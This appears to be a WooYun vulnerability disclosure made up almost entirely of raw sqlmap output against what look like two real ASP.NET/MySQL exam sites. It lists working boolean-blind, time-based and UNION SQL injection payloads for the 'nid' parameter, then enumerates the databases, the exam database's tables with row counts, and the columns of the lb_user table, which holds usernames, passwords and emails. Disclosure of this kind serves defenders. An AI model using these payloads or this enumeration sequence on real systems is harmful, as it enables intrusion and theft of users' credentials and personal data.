WooYun.org

GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 41 HTTP(s) requ
ests:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=37 AND 5521=5521
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: nid=37 AND (SELECT * FROM (SELECT(SLEEP(1)))jqxg)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: nid=-3919 UNION ALL SELECT NULL,CONCAT(0x71627a6271,0x694d577870716
8434d69,0x716a767a71),NULL,NULL--
---
[15:06:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0.12
[15:06:45] [INFO] fetching database names
[15:06:46] [INFO] the SQL query used returns 3 entries
[15:06:48] [INFO] retrieved: information_schema
[15:06:49] [INFO] retrieved: dangxiao_exam
[15:06:50] [INFO] retrieved: test
available databases [3]:
[*] dangxiao_exam
[*] information_schema
[*] test

GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 39 HTTP(s) requ
ests:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=27 AND 5159=5159
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: nid=27 AND (SELECT * FROM (SELECT(SLEEP(1)))fekI)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: nid=-1429 UNION ALL SELECT NULL,CONCAT(0x7170706b71,0x4952726d6c614
34e6f71,0x7170627871),NULL,NULL--
---
[15:03:21] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0.12
available databases [3]:
[*] exam
[*] information_schema
[*] test

Database: exam
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| lb_useranswer        | 464898  |
| lb_usertestlog       | 18189   |
| lb_usergroup         | 17990   |
| lb_user              | 7488    |  <————————
| lb_usertestlog_all   | 4766    |
| dede_sys_enum        | 3347    |
| lb_userquestions     | 2658    |
| lb_answers           | 743     |
| dede_area            | 482     |
| lb_questions         | 351     |
| dede_sysconfig       | 150     |
| dede_archives        | 136     |
| dede_arctiny         | 136     |
| dede_addonarticle    | 135     |
| dede_asktype         | 35      |
| dede_arctype         | 21      |
| dede_stepselect      | 15      |
| dede_scores          | 12      |
| lb_notice            | 11      |
| dede_co_mediaurls    | 10      |
| lb_groups            | 10      |
| dede_uploads         | 9       |
| dede_arcatt          | 8       |
| dede_arcrank         | 8       |
| dede_flinktype       | 8       |
| dede_plus            | 8       |
| dede_sys_module      | 7       |
| dede_ask             | 6       |
| dede_channeltype     | 6       |
| dede_shops_paytype   | 5       |
| dede_payment         | 4       |
| dede_shops_delivery  | 4       |
| dede_tagindex        | 4       |
| dede_taglist         | 4       |
| lb_tests             | 4       |
| test                 | 4       |
| dede_admintype       | 3       |
| dede_co_onepage      | 3       |
| dede_flink           | 3       |
| dede_guestbook       | 3       |
| dede_moneycard_type  | 3       |
| dede_mytag           | 3       |
| dede_search_keywords | 3       |
| dede_store_groups    | 3       |
| lb_adminuser         | 3       |
| dede_freelist        | 2       |
| dede_member_model    | 2       |
| dede_member_stowtype | 2       |
| dede_sys_set         | 2       |
| dede_addonspec       | 1       |
| dede_admin           | 1       |
| dede_arccache        | 1       |
| dede_arcmulti        | 1       |
| dede_askanswer       | 1       |
| dede_co_note         | 1       |
| dede_homepageset     | 1       |
| dede_member          | 1       |
| dede_member_group    | 1       |
| dede_member_person   | 1       |
| dede_member_space    | 1       |
| dede_member_tj       | 1       |
| dede_member_type     | 1       |
| dede_myad            | 1       |
| dede_mynews          | 1       |
| dede_softconfig      | 1       |
| dede_vote            | 1       |
+----------------------+---------+
Database: exam
Table: lb_user
[9 columns]
+-----------+---------------+
| Column    | Type          |
+-----------+---------------+
| id        | mediumint(10) |
| password  | varchar(32)   |
| regip     | varchar(20)   |
| regtime   | datetime      |
| useremail | varchar(20)   |
| username  | varchar(15)   |
| xingming  | varchar(45)   |
| yuanxi    | varchar(45)   |
| zhuanye   | varchar(45)   |
+-----------+---------------+